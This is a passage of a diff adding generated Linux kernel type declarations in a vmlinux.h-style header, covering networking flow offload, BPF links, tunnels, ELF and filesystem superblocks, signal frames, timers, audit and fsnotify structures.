struct { + unsigned char dst[6]; + unsigned char src[6]; + } vlan_push_eth; + struct { + enum flow_action_mangle_base htype; + u32 offset; + u32 mask; + u32 val; + } mangle; + struct ip_tunnel_info *tunnel; + u32 csum_flags; + u32 mark; + u16 ptype; + u16 rx_queue; + u32 priority; + struct { + u32 ctx; + u32 index; + u8 vf; + } queue; + struct { + struct psample_group *psample_group; + u32 rate; + u32 trunc_size; + bool truncate; + } sample; + struct { + u32 burst; + u64 rate_bytes_ps; + u64 peakrate_bytes_ps; + u32 avrate; + u16 overhead; + u64 burst_pkt; + u64 rate_pkt_ps; + u32 mtu; + struct { + enum flow_action_id act_id; + u32 extval; + } exceed; + struct { + enum flow_action_id act_id; + u32 extval; + } notexceed; + } police; + struct { + int action; + u16 zone; + struct nf_flowtable *flow_table; + } ct; + struct { + long unsigned int cookie; + u32 mark; + u32 labels[4]; + bool orig_dir; + } ct_metadata; + struct { + u32 label; + __be16 proto; + u8 tc; + u8 bos; + u8 ttl; + } mpls_push; + struct { + __be16 proto; + } mpls_pop; + struct { + u32 label; + u8 tc; + u8 bos; + u8 ttl; + } mpls_mangle; + struct { + s32 prio; + u64 basetime; + u64 cycletime; + u64 cycletimeext; + u32 num_entries; + struct action_gate_entry *entries; + } gate; + struct { + u16 sid; + } pppoe; + }; + struct flow_action_cookie *user_cookie; +}; + +struct flow_action { + unsigned int num_entries; + struct flow_action_entry entries[0]; +}; + +struct flow_rule { + struct flow_match match; + struct flow_action action; +}; + +struct flow_stats { + u64 pkts; + u64 bytes; + u64 drops; + u64 lastused; + enum flow_action_hw_stats used_hw_stats; + bool used_hw_stats_valid; +}; + +enum flow_cls_command { + FLOW_CLS_REPLACE = 0, + FLOW_CLS_DESTROY = 1, + FLOW_CLS_STATS = 2, + FLOW_CLS_TMPLT_CREATE = 3, + FLOW_CLS_TMPLT_DESTROY = 4, +}; + +struct flow_cls_offload { + struct flow_cls_common_offload common; + enum flow_cls_command command; + bool use_act_stats; + long unsigned int cookie; + struct flow_rule *rule; + struct flow_stats stats; + u32 classid; +}; + +enum tcf_proto_ops_flags { + TCF_PROTO_OPS_DOIT_UNLOCKED = 1, +}; + +struct gtp_pdu_session_info { + u8 pdu_type; + u8 qfi; +}; + +struct fl_flow_key { + struct flow_dissector_key_meta meta; + struct flow_dissector_key_control control; + struct flow_dissector_key_control enc_control; + struct flow_dissector_key_basic basic; + struct flow_dissector_key_eth_addrs eth; + struct flow_dissector_key_vlan vlan; + struct flow_dissector_key_vlan cvlan; + union { + struct flow_dissector_key_ipv4_addrs ipv4; + struct flow_dissector_key_ipv6_addrs ipv6; + }; + struct flow_dissector_key_ports tp; + struct flow_dissector_key_icmp icmp; + struct flow_dissector_key_arp arp; + struct flow_dissector_key_keyid enc_key_id; + union { + struct flow_dissector_key_ipv4_addrs enc_ipv4; + struct flow_dissector_key_ipv6_addrs enc_ipv6; + }; + struct flow_dissector_key_ports enc_tp; + struct flow_dissector_key_mpls mpls; + struct flow_dissector_key_tcp tcp; + struct flow_dissector_key_ip ip; + struct flow_dissector_key_ip enc_ip; + struct flow_dissector_key_enc_opts enc_opts; + struct flow_dissector_key_ports_range tp_range; + struct flow_dissector_key_ct ct; + struct flow_dissector_key_hash hash; + struct flow_dissector_key_num_of_vlans num_of_vlans; + struct flow_dissector_key_pppoe pppoe; + struct flow_dissector_key_l2tpv3 l2tpv3; +}; + +struct fl_flow_mask_range { + short unsigned int start; + short unsigned int end; +}; + +struct fl_flow_mask { + struct fl_flow_key key; + struct fl_flow_mask_range range; + u32 flags; + struct rhash_head ht_node; + struct rhashtable ht; + struct rhashtable_params filter_ht_params; + struct flow_dissector dissector; + struct list_head filters; + struct rcu_work rwork; + struct list_head list; + refcount_t refcnt; +}; + +struct fl_flow_tmplt { + struct fl_flow_key dummy_key; + struct fl_flow_key mask; + struct flow_dissector dissector; + struct tcf_chain *chain; +}; + +struct cls_fl_head { + struct rhashtable ht; + spinlock_t masks_lock; + struct list_head masks; + struct list_head hw_filters; + struct rcu_work rwork; + struct idr handle_idr; +}; + +struct cls_fl_filter { + struct fl_flow_mask *mask; + struct rhash_head ht_node; + struct fl_flow_key mkey; + struct tcf_exts exts; + struct tcf_result res; + struct fl_flow_key key; + struct list_head list; + struct list_head hw_list; + u32 handle; + u32 flags; + u32 in_hw_count; + struct rcu_work rwork; + struct net_device *hw_dev; + refcount_t refcnt; + bool deleted; +}; + +enum bpf_link_type { + BPF_LINK_TYPE_UNSPEC = 0, + BPF_LINK_TYPE_RAW_TRACEPOINT = 1, + BPF_LINK_TYPE_TRACING = 2, + BPF_LINK_TYPE_CGROUP = 3, + BPF_LINK_TYPE_ITER = 4, + BPF_LINK_TYPE_NETNS = 5, + BPF_LINK_TYPE_XDP = 6, + BPF_LINK_TYPE_PERF_EVENT = 7, + BPF_LINK_TYPE_KPROBE_MULTI = 8, + BPF_LINK_TYPE_STRUCT_OPS = 9, + BPF_LINK_TYPE_NETFILTER = 10, + MAX_BPF_LINK_TYPE = 11, +}; + +struct bpf_link_ops; + +struct bpf_link { + atomic64_t refcnt; + u32 id; + enum bpf_link_type type; + const struct bpf_link_ops *ops; + struct bpf_prog *prog; + struct work_struct work; +}; + +struct bpf_link_ops { + void (*release)(struct bpf_link *); + void (*dealloc)(struct bpf_link *); + int (*detach)(struct bpf_link *); + int (*update_prog)(struct bpf_link *, struct bpf_prog *, struct bpf_prog *); + void (*show_fdinfo)(const struct bpf_link *, struct seq_file *); + int (*fill_link_info)(const struct bpf_link *, struct bpf_link_info *); + int (*update_map)(struct bpf_link *, struct bpf_map *, struct bpf_map *); +}; + +struct bpf_link_primer { + struct bpf_link *link; + struct file *file; + int fd; + u32 id; +}; + +struct bpf_nf_ctx { + const struct nf_hook_state *state; + struct sk_buff *skb; +}; + +struct bpf_nf_link { + struct bpf_link link; + struct nf_hook_ops hook_ops; + struct net *net; + u32 dead; +}; + +enum xt_statistic_mode { + XT_STATISTIC_MODE_RANDOM = 0, + XT_STATISTIC_MODE_NTH = 1, + __XT_STATISTIC_MODE_MAX = 2, +}; + +enum xt_statistic_flags { + XT_STATISTIC_INVERT = 1, +}; + +struct xt_statistic_priv; + +struct xt_statistic_info { + __u16 mode; + __u16 flags; + union { + struct { + __u32 probability; + } random; + struct { + __u32 every; + __u32 packet; + __u32 count; + } nth; + } u; + struct xt_statistic_priv *master; +}; + +struct xt_statistic_priv { + atomic_t count; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum { + FOU_ATTR_UNSPEC = 0, + FOU_ATTR_PORT = 1, + FOU_ATTR_AF = 2, + FOU_ATTR_IPPROTO = 3, + FOU_ATTR_TYPE = 4, + FOU_ATTR_REMCSUM_NOPARTIAL = 5, + FOU_ATTR_LOCAL_V4 = 6, + FOU_ATTR_LOCAL_V6 = 7, + FOU_ATTR_PEER_V4 = 8, + FOU_ATTR_PEER_V6 = 9, + FOU_ATTR_PEER_PORT = 10, + FOU_ATTR_IFINDEX = 11, + __FOU_ATTR_MAX = 12, +}; + +enum { + FOU_CMD_UNSPEC = 0, + FOU_CMD_ADD = 1, + FOU_CMD_DEL = 2, + FOU_CMD_GET = 3, + __FOU_CMD_MAX = 4, +}; + +struct cipso_v4_std_map_tbl { + struct { + u32 *cipso; + u32 *local; + u32 cipso_size; + u32 local_size; + } lvl; + struct { + u32 *cipso; + u32 *local; + u32 cipso_size; + u32 local_size; + } cat; +}; + +struct cipso_v4_doi { + u32 doi; + u32 type; + union { + struct cipso_v4_std_map_tbl *std; + } map; + u8 tags[5]; + refcount_t refcount; + struct list_head list; + struct callback_head rcu; +}; + +struct cipso_v4_map_cache_bkt { + spinlock_t lock; + u32 size; + struct list_head list; +}; + +struct cipso_v4_map_cache_entry { + u32 hash; + unsigned char *key; + size_t key_len; + struct netlbl_lsm_cache *lsm_data; + u32 activity; + struct list_head list; +}; + +struct ip_sf_list; + +struct ip_mc_list { + struct in_device *interface; + __be32 multiaddr; + unsigned int sfmode; + struct ip_sf_list *sources; + struct ip_sf_list *tomb; + long unsigned int sfcount[2]; + union { + struct ip_mc_list *next; + struct ip_mc_list *next_rcu; + }; + struct ip_mc_list *next_hash; + struct timer_list timer; + int users; + refcount_t refcnt; + spinlock_t lock; + char tm_running; + char reporter; + char unsolicit_count; + char loaded; + unsigned char gsquery; + unsigned char crcount; + struct callback_head rcu; +}; + +struct ip_sf_list { + struct ip_sf_list *sf_next; + long unsigned int sf_count[2]; + __be32 sf_inaddr; + unsigned char sf_gsresp; + unsigned char sf_oldin; + unsigned char sf_crcount; +}; + +enum { + IFLA_GRE_UNSPEC = 0, + IFLA_GRE_LINK = 1, + IFLA_GRE_IFLAGS = 2, + IFLA_GRE_OFLAGS = 3, + IFLA_GRE_IKEY = 4, + IFLA_GRE_OKEY = 5, + IFLA_GRE_LOCAL = 6, + IFLA_GRE_REMOTE = 7, + IFLA_GRE_TTL = 8, + IFLA_GRE_TOS = 9, + IFLA_GRE_PMTUDISC = 10, + IFLA_GRE_ENCAP_LIMIT = 11, + IFLA_GRE_FLOWINFO = 12, + IFLA_GRE_FLAGS = 13, + IFLA_GRE_ENCAP_TYPE = 14, + IFLA_GRE_ENCAP_FLAGS = 15, + IFLA_GRE_ENCAP_SPORT = 16, + IFLA_GRE_ENCAP_DPORT = 17, + IFLA_GRE_COLLECT_METADATA = 18, + IFLA_GRE_IGNORE_DF = 19, + IFLA_GRE_FWMARK = 20, + IFLA_GRE_ERSPAN_INDEX = 21, + IFLA_GRE_ERSPAN_VER = 22, + IFLA_GRE_ERSPAN_DIR = 23, + IFLA_GRE_ERSPAN_HWID = 24, + __IFLA_GRE_MAX = 25, +}; + +struct ip6_tnl_parm2 { + char name[16]; + int link; + __u8 proto; + __u8 encap_limit; + __u8 hop_limit; + __be32 flowinfo; + __u32 flags; + struct in6_addr laddr; + struct in6_addr raddr; + __be16 i_flags; + __be16 o_flags; + __be32 i_key; + __be32 o_key; +}; + +enum erspan_encap_type { + ERSPAN_ENCAP_NOVLAN = 0, + ERSPAN_ENCAP_ISL = 1, + ERSPAN_ENCAP_8021Q = 2, + ERSPAN_ENCAP_INFRAME = 3, +}; + +struct erspan_base_hdr { + __u8 vlan_upper: 4; + __u8 ver: 4; + __u8 vlan: 8; + __u8 session_id_upper: 2; + __u8 t: 1; + __u8 en: 2; + __u8 cos: 3; + __u8 session_id: 8; +}; + +enum erspan_bso { + BSO_NOERROR = 0, + BSO_SHORT = 1, + BSO_OVERSIZED = 2, + BSO_BAD = 3, +}; + +struct ip6gre_net { + struct ip6_tnl *tunnels[128]; + struct ip6_tnl *collect_md_tun; + struct ip6_tnl *collect_md_tun_erspan; + struct net_device *fb_tunnel_dev; +}; + +struct qtag_prefix { + __be16 eth_type; + __be16 tci; +}; + +enum mptcp_pm_type { + MPTCP_PM_TYPE_KERNEL = 0, + MPTCP_PM_TYPE_USERSPACE = 1, + __MPTCP_PM_TYPE_NR = 2, + __MPTCP_PM_TYPE_MAX = 1, +}; + +struct mptcp_pernet { + struct ctl_table_header *ctl_table_hdr; + unsigned int add_addr_timeout; + unsigned int stale_loss_cnt; + u8 mptcp_enabled; + u8 checksum_enabled; + u8 allow_join_initial_addr_port; + u8 pm_type; +}; + +typedef __u32 Elf32_Addr; + +typedef __u16 Elf32_Half; + +typedef __u32 Elf32_Off; + +struct elf32_hdr { + unsigned char e_ident[16]; + Elf32_Half e_type; + Elf32_Half e_machine; + Elf32_Word e_version; + Elf32_Addr e_entry; + Elf32_Off e_phoff; + Elf32_Off e_shoff; + Elf32_Word e_flags; + Elf32_Half e_ehsize; + Elf32_Half e_phentsize; + Elf32_Half e_phnum; + Elf32_Half e_shentsize; + Elf32_Half e_shnum; + Elf32_Half e_shstrndx; +}; + +typedef struct elf32_hdr Elf32_Ehdr; + +struct elf32_phdr { + Elf32_Word p_type; + Elf32_Off p_offset; + Elf32_Addr p_vaddr; + Elf32_Addr p_paddr; + Elf32_Word p_filesz; + Elf32_Word p_memsz; + Elf32_Word p_flags; + Elf32_Word p_align; +}; + +typedef struct elf32_phdr Elf32_Phdr; + +struct elf64_phdr { + Elf64_Word p_type; + Elf64_Word p_flags; + Elf64_Off p_offset; + Elf64_Addr p_vaddr; + Elf64_Addr p_paddr; + Elf64_Xword p_filesz; + Elf64_Xword p_memsz; + Elf64_Xword p_align; +}; + +typedef struct elf64_phdr Elf64_Phdr; + +typedef struct elf32_note Elf32_Nhdr; + +struct minix_super_block { + __u16 s_ninodes; + __u16 s_nzones; + __u16 s_imap_blocks; + __u16 s_zmap_blocks; + __u16 s_firstdatazone; + __u16 s_log_zone_size; + __u32 s_max_size; + __u16 s_magic; + __u16 s_state; + __u32 s_zones; +}; + +struct romfs_super_block { + __be32 word0; + __be32 word1; + __be32 size; + __be32 checksum; + char name[0]; +}; + +struct cramfs_inode { + __u32 mode: 16; + __u32 uid: 16; + __u32 size: 24; + __u32 gid: 8; + __u32 namelen: 6; + __u32 offset: 26; +}; + +struct cramfs_info { + __u32 crc; + __u32 edition; + __u32 blocks; + __u32 files; +}; + +struct cramfs_super { + __u32 magic; + __u32 size; + __u32 flags; + __u32 future; + __u8 signature[16]; + struct cramfs_info fsid; + __u8 name[16]; + struct cramfs_inode root; +}; + +struct squashfs_super_block { + __le32 s_magic; + __le32 inodes; + __le32 mkfs_time; + __le32 block_size; + __le32 fragments; + __le16 compression; + __le16 block_log; + __le16 flags; + __le16 no_ids; + __le16 s_major; + __le16 s_minor; + __le64 root_inode; + __le64 bytes_used; + __le64 id_table_start; + __le64 xattr_id_table_start; + __le64 inode_table_start; + __le64 directory_table_start; + __le64 fragment_table_start; + __le64 lookup_table_start; +}; + +typedef int (*decompress_fn)(unsigned char *, long int, long int (*)(void *, long unsigned int), long int (*)(void *, long unsigned int), unsigned char *, long int *, void (*)(char *)); + +struct sigcontext_64 { + __u64 r8; + __u64 r9; + __u64 r10; + __u64 r11; + __u64 r12; + __u64 r13; + __u64 r14; + __u64 r15; + __u64 di; + __u64 si; + __u64 bp; + __u64 bx; + __u64 dx; + __u64 ax; + __u64 cx; + __u64 sp; + __u64 ip; + __u64 flags; + __u16 cs; + __u16 gs; + __u16 fs; + __u16 ss; + __u64 err; + __u64 trapno; + __u64 oldmask; + __u64 cr2; + __u64 fpstate; + __u64 reserved1[8]; +}; + +struct sigaltstack { + void *ss_sp; + int ss_flags; + __kernel_size_t ss_size; +}; + +typedef struct sigaltstack stack_t; + +struct siginfo { + union { + struct { + int si_signo; + int si_errno; + int si_code; + union __sifields _sifields; + }; + int _si_pad[32]; + }; +}; + +struct ksignal { + struct k_sigaction ka; + kernel_siginfo_t info; + int sig; +}; + +struct ucontext { + long unsigned int uc_flags; + struct ucontext *uc_link; + stack_t uc_stack; + struct sigcontext_64 uc_mcontext; + sigset_t uc_sigmask; +}; + +struct rt_sigframe { + char *pretcode; + struct ucontext uc; + struct siginfo info; +}; + +struct setup_indirect { + __u32 type; + __u32 reserved; + __u64 len; + __u64 addr; +}; + +struct pci_ops; + +struct pci_dev; + +struct _fpx_sw_bytes { + __u32 magic1; + __u32 extended_size; + __u64 xfeatures; + __u32 xstate_size; + __u32 padding[7]; +}; + +struct _fpreg { + __u16 significand[4]; + __u16 exponent; +}; + +struct _fpxreg { + __u16 significand[4]; + __u16 exponent; + __u16 padding[3]; +}; + +struct _xmmreg { + __u32 element[4]; +}; + +struct _fpstate_32 { + __u32 cw; + __u32 sw; + __u32 tag; + __u32 ipoff; + __u32 cssel; + __u32 dataoff; + __u32 datasel; + struct _fpreg _st[8]; + __u16 status; + __u16 magic; + __u32 _fxsr_env[6]; + __u32 mxcsr; + __u32 reserved; + struct _fpxreg _fxsr_st[8]; + struct _xmmreg _xmm[8]; + union { + __u32 padding1[44]; + __u32 padding[44]; + }; + union { + __u32 padding2[12]; + struct _fpx_sw_bytes sw_reserved; + }; +}; + +struct user_i387_ia32_struct { + u32 cwd; + u32 swd; + u32 twd; + u32 fip; + u32 fcs; + u32 foo; + u32 fos; + u32 st_space[20]; +}; + +enum cpuid_leafs { + CPUID_1_EDX = 0, + CPUID_8000_0001_EDX = 1, + CPUID_8086_0001_EDX = 2, + CPUID_LNX_1 = 3, + CPUID_1_ECX = 4, + CPUID_C000_0001_EDX = 5, + CPUID_8000_0001_ECX = 6, + CPUID_LNX_2 = 7, + CPUID_LNX_3 = 8, + CPUID_7_0_EBX = 9, + CPUID_D_1_EAX = 10, + CPUID_LNX_4 = 11, + CPUID_7_1_EAX = 12, + CPUID_8000_0008_EBX = 13, + CPUID_6_EAX = 14, + CPUID_8000_000A_EDX = 15, + CPUID_7_ECX = 16, + CPUID_8000_0007_EBX = 17, + CPUID_7_EDX = 18, + CPUID_8000_001F_EAX = 19, + CPUID_8000_0021_EAX = 20, +}; + +struct mpf_intel { + char signature[4]; + unsigned int physptr; + unsigned char length; + unsigned char specification; + unsigned char checksum; + unsigned char feature1; + unsigned char feature2; + unsigned char feature3; + unsigned char feature4; + unsigned char feature5; +}; + +struct mpc_table { + char signature[4]; + short unsigned int length; + char spec; + char checksum; + char oem[8]; + char productid[12]; + unsigned int oemptr; + short unsigned int oemsize; + short unsigned int oemcount; + unsigned int lapic; + unsigned int reserved; +}; + +struct mpc_cpu { + unsigned char type; + unsigned char apicid; + unsigned char apicver; + unsigned char cpuflag; + unsigned int cpufeature; + unsigned int featureflag; + unsigned int reserved[2]; +}; + +struct mpc_bus { + unsigned char type; + unsigned char busid; + unsigned char bustype[6]; +}; + +struct mpc_ioapic { + unsigned char type; + unsigned char apicid; + unsigned char apicver; + unsigned char flags; + unsigned int apicaddr; +}; + +struct mpc_intsrc { + unsigned char type; + unsigned char irqtype; + short unsigned int irqflag; + unsigned char srcbus; + unsigned char srcbusirq; + unsigned char dstapic; + unsigned char dstirq; +}; + +enum mp_irq_source_types { + mp_INT = 0, + mp_NMI = 1, + mp_SMI = 2, + mp_ExtINT = 3, +}; + +struct mpc_lintsrc { + unsigned char type; + unsigned char irqtype; + short unsigned int irqflag; + unsigned char srcbusid; + unsigned char srcbusirq; + unsigned char destapic; + unsigned char destapiclint; +}; + +struct legacy_pic { + int nr_legacy_irqs; + struct irq_chip *chip; + void (*mask)(unsigned int); + void (*unmask)(unsigned int); + void (*mask_all)(); + void (*restore_mask)(); + void (*init)(int); + int (*probe)(); + int (*irq_pending)(unsigned int); + void (*make_irq)(unsigned int); +}; + +enum ioapic_domain_type { + IOAPIC_DOMAIN_INVALID = 0, + IOAPIC_DOMAIN_LEGACY = 1, + IOAPIC_DOMAIN_STRICT = 2, + IOAPIC_DOMAIN_DYNAMIC = 3, +}; + +struct ioapic_domain_cfg { + enum ioapic_domain_type type; + const struct irq_domain_ops *ops; + struct device_node *dev; +}; + +enum x86_pf_error_code { + X86_PF_PROT = 1, + X86_PF_WRITE = 2, + X86_PF_USER = 4, + X86_PF_RSVD = 8, + X86_PF_INSTR = 16, + X86_PF_PK = 32, + X86_PF_SGX = 32768, +}; + +typedef struct { + efi_guid_t guid; + u64 table; +} efi_config_table_64_t; + +struct efi_memory_map_data { + phys_addr_t phys_map; + long unsigned int size; + long unsigned int desc_version; + long unsigned int desc_size; + long unsigned int flags; +}; + +struct efi_mem_range { + struct range range; + u64 attribute; +}; + +struct efi_setup_data { + u64 fw_vendor; + u64 __unused; + u64 tables; + u64 smbios; + u64 reserved[8]; +}; + +struct real_mode_header { + u32 text_start; + u32 ro_end; + u32 trampoline_start; + u32 trampoline_header; + u32 trampoline_start64; + u32 trampoline_pgd; + u32 wakeup_start; + u32 wakeup_header; + u32 machine_real_restart_asm; + u32 machine_real_restart_seg; +}; + +struct machine_ops { + void (*restart)(char *); + void (*halt)(); + void (*power_off)(); + void (*shutdown)(); + void (*crash_shutdown)(struct pt_regs *); + void (*emergency_restart)(); +}; + +struct srcu_notifier_head { + struct mutex mutex; + struct srcu_usage srcuu; + struct srcu_struct srcu; + struct notifier_block *head; +}; + +enum die_val { + DIE_OOPS = 1, + DIE_INT3 = 2, + DIE_DEBUG = 3, + DIE_PANIC = 4, + DIE_NMI = 5, + DIE_DIE = 6, + DIE_KERNELDEBUG = 7, + DIE_TRAP = 8, + DIE_GPF = 9, + DIE_CALL = 10, + DIE_PAGE_FAULT = 11, + DIE_NMIUNKNOWN = 12, +}; + +struct die_args { + struct pt_regs *regs; + const char *str; + long int err; + int trapnr; + int signr; +}; + +struct trace_event_raw_notifier_info { + struct trace_entry ent; + void *cb; + char __data[0]; +}; + +struct trace_event_data_offsets_notifier_info {}; + +typedef void (*btf_trace_notifier_register)(void *, void *); + +typedef void (*btf_trace_notifier_unregister)(void *, void *); + +typedef void (*btf_trace_notifier_run)(void *, void *); + +struct modversion_info { + long unsigned int crc; + char name[56]; +}; + +struct load_info { + const char *name; + struct module *mod; + Elf64_Ehdr *hdr; + long unsigned int len; + Elf64_Shdr *sechdrs; + char *secstrings; + char *strtab; + long unsigned int symoffs; + long unsigned int stroffs; + long unsigned int init_typeoffs; + long unsigned int core_typeoffs; + bool sig_ok; + long unsigned int mod_kallsyms_init_off; + struct { + unsigned int sym; + unsigned int str; + unsigned int mod; + unsigned int vers; + unsigned int info; + unsigned int pcpu; + } index; +}; + +enum mod_license { + NOT_GPL_ONLY = 0, + GPL_ONLY = 1, +}; + +struct find_symbol_arg { + const char *name; + bool gplok; + bool warn; + struct module *owner; + const s32 *crc; + const struct kernel_symbol *sym; + enum mod_license license; +}; + +typedef __kernel_timer_t timer_t; + +struct sigqueue { + struct list_head list; + int flags; + kernel_siginfo_t info; + struct ucounts *ucounts; +}; + +enum alarmtimer_type { + ALARM_REALTIME = 0, + ALARM_BOOTTIME = 1, + ALARM_NUMTYPE = 2, + ALARM_REALTIME_FREEZER = 3, + ALARM_BOOTTIME_FREEZER = 4, +}; + +enum alarmtimer_restart { + ALARMTIMER_NORESTART = 0, + ALARMTIMER_RESTART = 1, +}; + +struct alarm { + struct timerqueue_node node; + struct hrtimer timer; + enum alarmtimer_restart (*function)(struct alarm *, ktime_t); + enum alarmtimer_type type; + int state; + void *data; +}; + +struct cpu_timer { + struct timerqueue_node node; + struct timerqueue_head *head; + struct pid *pid; + struct list_head elist; + int firing; + struct task_struct *handling; +}; + +struct k_clock; + +struct k_itimer { + struct list_head list; + struct hlist_node t_hash; + spinlock_t it_lock; + const struct k_clock *kclock; + clockid_t it_clock; + timer_t it_id; + int it_active; + s64 it_overrun; + s64 it_overrun_last; + int it_requeue_pending; + int it_sigev_notify; + ktime_t it_interval; + struct signal_struct *it_signal; + union { + struct pid *it_pid; + struct task_struct *it_process; + }; + struct sigqueue *sigq; + union { + struct { + struct hrtimer timer; + } real; + struct cpu_timer cpu; + struct { + struct alarm alarmtimer; + } alarm; + } it; + struct callback_head rcu; +}; + +struct k_clock { + int (*clock_getres)(const clockid_t, struct timespec64 *); + int (*clock_set)(const clockid_t, const struct timespec64 *); + int (*clock_get_timespec)(const clockid_t, struct timespec64 *); + ktime_t (*clock_get_ktime)(const clockid_t); + int (*clock_adj)(const clockid_t, struct __kernel_timex *); + int (*timer_create)(struct k_itimer *); + int (*nsleep)(const clockid_t, int, const struct timespec64 *); + int (*timer_set)(struct k_itimer *, int, struct itimerspec64 *, struct itimerspec64 *); + int (*timer_del)(struct k_itimer *); + void (*timer_get)(struct k_itimer *, struct itimerspec64 *); + void (*timer_rearm)(struct k_itimer *); + s64 (*timer_forward)(struct k_itimer *, ktime_t); + ktime_t (*timer_remaining)(struct k_itimer *, ktime_t); + int (*timer_try_to_cancel)(struct k_itimer *); + void (*timer_arm)(struct k_itimer *, ktime_t, bool, bool); + void (*timer_wait_running)(struct k_itimer *); +}; + +typedef void (*task_work_func_t)(struct callback_head *); + +typedef int __kernel_mqd_t; + +typedef __kernel_mqd_t mqd_t; + +enum audit_state { + AUDIT_STATE_DISABLED = 0, + AUDIT_STATE_BUILD = 1, + AUDIT_STATE_RECORD = 2, +}; + +struct audit_cap_data { + kernel_cap_t permitted; + kernel_cap_t inheritable; + union { + unsigned int fE; + kernel_cap_t effective; + }; + kernel_cap_t ambient; + kuid_t rootid; +}; + +struct audit_names { + struct list_head list; + struct filename *name; + int name_len; + bool hidden; + long unsigned int ino; + dev_t dev; + umode_t mode; + kuid_t uid; + kgid_t gid; + dev_t rdev; + u32 osid; + struct audit_cap_data fcap; + unsigned int fcap_ver; + unsigned char type; + bool should_free; +}; + +struct mq_attr { + __kernel_long_t mq_flags; + __kernel_long_t mq_maxmsg; + __kernel_long_t mq_msgsize; + __kernel_long_t mq_curmsgs; + __kernel_long_t __reserved[4]; +}; + +struct audit_ntp_val { + long long int oldval; + long long int newval; +}; + +struct audit_ntp_data { + struct audit_ntp_val vals[6]; +}; + +struct audit_proctitle { + int len; + char *value; +}; + +struct audit_aux_data; + +struct audit_tree_refs; + +struct audit_context { + int dummy; + enum { + AUDIT_CTX_UNUSED = 0, + AUDIT_CTX_SYSCALL = 1, + AUDIT_CTX_URING = 2, + } context; + enum audit_state state; + enum audit_state current_state; + unsigned int serial; + int major; + int uring_op; + struct timespec64 ctime; + long unsigned int argv[4]; + long int return_code; + u64 prio; + int return_valid; + struct audit_names preallocated_names[5]; + int name_count; + struct list_head names_list; + char *filterkey; + struct path pwd; + struct audit_aux_data *aux; + struct audit_aux_data *aux_pids; + struct __kernel_sockaddr_storage *sockaddr; + size_t sockaddr_len; + pid_t ppid; + kuid_t uid; + kuid_t euid; + kuid_t suid; + kuid_t fsuid; + kgid_t gid; + kgid_t egid; + kgid_t sgid; + kgid_t fsgid; + long unsigned int personality; + int arch; + pid_t target_pid; + kuid_t target_auid; + kuid_t target_uid; + unsigned int target_sessionid; + u32 target_sid; + char target_comm[16]; + struct audit_tree_refs *trees; + struct audit_tree_refs *first_trees; + struct list_head killed_trees; + int tree_count; + int type; + union { + struct { + int nargs; + long int args[6]; + } socketcall; + struct { + kuid_t uid; + kgid_t gid; + umode_t mode; + u32 osid; + int has_perm; + uid_t perm_uid; + gid_t perm_gid; + umode_t perm_mode; + long unsigned int qbytes; + } ipc; + struct { + mqd_t mqdes; + struct mq_attr mqstat; + } mq_getsetattr; + struct { + mqd_t mqdes; + int sigev_signo; + } mq_notify; + struct { + mqd_t mqdes; + size_t msg_len; + unsigned int msg_prio; + struct timespec64 abs_timeout; + } mq_sendrecv; + struct { + int oflag; + umode_t mode; + struct mq_attr attr; + } mq_open; + struct { + pid_t pid; + struct audit_cap_data cap; + } capset; + struct { + int fd; + int flags; + } mmap; + struct open_how openat2; + struct { + int argc; + } execve; + struct { + char *name; + } module; + struct { + struct audit_ntp_data ntp_data; + struct timespec64 tk_injoffset; + } time; + }; + int fds[2]; + struct audit_proctitle proctitle; +}; + +enum { + Audit_equal = 0, + Audit_not_equal = 1, + Audit_bitmask = 2, + Audit_bittest = 3, + Audit_lt = 4, + Audit_gt = 5, + Audit_le = 6, + Audit_ge = 7, + Audit_bad = 8, +}; + +struct audit_field; + +struct audit_watch; + +struct audit_tree; + +struct audit_fsnotify_mark; + +struct audit_krule { + u32 pflags; + u32 flags; + u32 listnr; + u32 action; + u32 mask[64]; + u32 buflen; + u32 field_count; + char *filterkey; + struct audit_field *fields; + struct audit_field *arch_f; + struct audit_field *inode_f; + struct audit_watch *watch; + struct audit_tree *tree; + struct audit_fsnotify_mark *exe; + struct list_head rlist; + struct list_head list; + u64 prio; +}; + +struct audit_field { + u32 type; + union { + u32 val; + kuid_t uid; + kgid_t gid; + struct { + char *lsm_str; + void *lsm_rule; + }; + }; + u32 op; +}; + +struct audit_chunk; + +struct audit_tree { + refcount_t count; + int goner; + struct audit_chunk *root; + struct list_head chunks; + struct list_head rules; + struct list_head list; + struct list_head same_root; + struct callback_head head; + char pathname[0]; +}; + +struct audit_entry { + struct list_head list; + struct callback_head rcu; + struct audit_krule rule; +}; + +struct fsnotify_group; + +struct fsnotify_iter_info; + +struct fsnotify_mark; + +struct fsnotify_event; + +struct fsnotify_ops { + int (*handle_event)(struct fsnotify_group *, u32, const void *, int, struct inode *, const struct qstr *, u32, struct fsnotify_iter_info *); + int (*handle_inode_event)(struct fsnotify_mark *, u32, struct inode *, struct inode *, const struct qstr *, u32); + void (*free_group_priv)(struct fsnotify_group *); + void (*freeing_mark)(struct fsnotify_mark *, struct fsnotify_group *); + void (*free_event)(struct fsnotify_group *, struct fsnotify_event *); + void (*free_mark)(struct fsnotify_mark *); +}; + +struct inotify_group_private_data { + spinlock_t idr_lock; + struct idr idr; + struct ucounts *ucounts; +}; + +struct fsnotify_group { + const struct fsnotify_ops *ops; + refcount_t refcnt; + spinlock_t notification_lock; + struct list_head notification_list; + wait_queue_head_t notification_waitq; + unsigned int q_len; + unsigned int max_events; + unsigned int priority; + bool shutdown; + int flags; + unsigned int owner_flags; + struct mutex mark_mutex; + atomic_t user_waits; + struct list_head marks_list; + struct fasync_struct *fsn_fa; + struct fsnotify_event *overflow_event; + struct mem_cgroup *memcg; + union { + void *private; + struct inotify_group_private_data inotify_data; + }; +}; + +struct fsnotify_iter_info { + struct fsnotify_mark *marks[5]; + struct fsnotify_group *current_group; + unsigned int report_mask; + int srcu_idx; +}; + +struct fsnotify_mark { + __u32 mask; + refcount_t refcnt; + struct fsnotify_group *group; + struct list_head g_list; + spinlock_t lock; + struct hlist_node obj_list; + struct fsnotify_mark_connector *connector; + __u32 ignore_mask; + unsigned int flags; +}; + +struct fsnotify_event { + struct list_head list; +}; + +enum fsnotify_iter_type { + FSNOTIFY_ITER_TYPE_INODE = 0, + FSNOTIFY_ITER_TYPE_VFSMOUNT = 1, + FSNOTIFY_ITER_TYPE_SB = 2, + FSNOTIFY_ITER_TYPE_PARENT = 3, + FSNOTIFY_ITER_TYPE_INODE2 = 4, + 